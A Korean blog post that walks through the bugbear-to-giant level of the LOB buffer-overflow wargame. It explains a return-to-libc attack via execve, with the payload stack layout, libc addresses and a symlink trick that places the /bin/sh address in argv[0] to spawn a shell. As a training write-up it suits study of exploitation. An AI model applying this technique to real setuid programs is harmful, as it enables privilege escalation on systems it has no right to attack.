systemhacking/practice

lob bugbear->giant (rtl2)

qkqhxla1 2015. 1. 26. 15:07

execve를 활용하라고 한다. execve 예제소스.


#include <unistd.h>

#include <stdio.h>


int main()

{

        char *argv[] = {"/bin/sh",0};

        execve("/bin/sh",argv,0);

        return 0;

}


이런식으로 실행이 된다. 즉 공격시 


 ret

 ret + 4(execve의 ret)

 execve의 첫번째인자

 두번째인자

 세번째인자

 execve함수의 주소.

 아무값.

 /bin/sh 문자열의 주소

 두번 참조한 /bin/sh의 주소.

 0


여기서 주목할 부분은 execve의 두번째 인자이다. 두번째 인자는 두번 참조한 /bin/sh의 문자열 주소인데, 두번 참조하는 이유는 위의 소스에서 보면 알수 있듯이, argv가 char *argv[]로 선언되었기 때문이다. 이제 이게 기본이고, execve함수의 주소를 구하고(앞문제와 같은 방법으로), /bin/sh의 주소는 앞문제에서 구했다. 또 구해봐도 같은 값이다.

execve의 주소 : 0x400a9d48

/bin/sh문자열의 주소 : 0x400fbff9


나머지는 잘 덮어씌우면 되겠는데 위에서 언급했던 '두번 참조한 /bin/sh의 주소'는 어떻게 덮어씌울까? 정답은 심볼릭 링크에 있다. 심볼릭 링크로 /bin/sh의 문자열의 주소로 링크를 걸어준다. 그다음 '두번 참조한 /bin/sh의 주소' 자리에 스택의 끝에 나오는 (argv[0]의 주소값)을 넣어준다. 앞문제 어딘가에서 argv[0]은 스택속에 두번 참조된다고 하였다. 스택 맨 마지막의 argv[0]주소를 '두번 참조한 /bin/sh의 주소' 자리에 넣게 되면, 첫번째 참조시에는 argv[0]으로 오게 될테고, 두번째 참조시에는 argv[0] 내용인 /bin/sh문자열의 주소로 오게 될것이다.(위에 심볼릭 링크로 파일명을 /bin/sh의 주소로 만들어준다고 하였다. 이러면 argv[0]에 /bin/sh의 주소가 들어가게 된다)


일단 execve함수의 주소와 /bin/sh문자열의 주소는 확보해놨으므로 이제 '두번 참조한 /bin/sh의 주소'를 위해 스택 끝의 argv[0]의 주소와 적당한 0(널값)의 위치를 찾아보자. giant.c를 gian1.c로 복사후 dumpcode의 함수를 전부 복붙해놓고, 끝부분에 출력하도록 하게끔 한다. (쓸때없는 종료방지를 위해 exit(0);은 다 주석처리해주자.)


gian1.c의 끝부분.

strcpy(buffer, argv[1]);

dumpcode(buffer,2000); //대충 최대한 많이 2000개 출력하도록 해본다.

printf("%s\n", buffer);

}


정확한 공격주소를 잡기 위해서 gcc -o gian1 gian1.c로 컴파일 후, 

ln -s gian1 `python -c 'print "\xf9\xbf\x0f\x40"'` 으로 argv[0]을 /bin/sh의 주소로 만든 후 실행해보자.

./`python -c 'print "\xf9\xbf\x0f\x40"'` aaaa


첫번째 부분은 스택의 맨 아래의 argv[0]이 한번 더 나타난 부분이다. 400fbff9가 있는걸 확인할수 있고, 뒤의 00 00은 우리가 세번째 인자로 쓸수 있는 null부분이다. (저 부분은 0xbffffffb, 0xbffffffc인데, 0xbffffffd이상은 실험결과 안되는걸 확인했다. 프로그램의 끝이라서 없는 부분인것 같다. )


이제 스택의 끝의 argv[0]가 다시 나타나는 주소 (0xbffffff7)도 찾았으니 공격을 해보자.


 ret

 ret + 4(execve의 ret)

 execve의 첫번째인자

 두번째인자

 세번째인자

 execve함수의 주소

 아무값 4개.

 /bin/sh 문자열의 주소

 두번 참조한 /bin/sh의 주소.

 0

 0x400a9d48

 aaaa

 0x400fbff9

 0xbffffff7

 0xbffffffb 또는 0xbffffffc



라고 하였다. 그런데 gian1을 실험적으로 공격하기 전에 내부의 dumpcode호출하는 부분을 dumpcode(buffer,100); 정도로 줄여주고 공격을 해야 한다.(아니면 지우거나) 안해주면 그냥 세그먼테이션 폴트 에러만 나고 실패하는데, 예상하기로 dumpcode에서 2000개를 출력하게 되면 스택의 끝 부분에 도달해서 출력할 수 없는 부분을 출력하려고 해서 에러가 나면서 그냥 종료되는 것 같다.(그래서 그런지 맞는 공격 페이로드를 넣어도 성공하질 않는다.) 어쨋든 바꿔주고 다시 컴파일 후 링크를 걸고, 공격해보자.




잘 된다. 두번째 인자를 ""로 감싸는 이유는 0x0a를 0x00으로 인식하기 때문이라고 한다.(잘 모르겠음 나도.)

이제 파일을 원래 giant로 바꿔서 하면 된다.

'systemhacking > practice' 카테고리의 다른 글

lob assassin->zombie_assassin (fake ebp)  (0) 2015.01.28
lob giant->assassin  (0) 2015.01.27
lob darkknight->bugbear  (0) 2015.01.22
lob golem->darkknight (1바이트변조)  (0) 2015.01.21
lob skeleton->goelm (LD_PRELOAD)  (0) 2015.01.18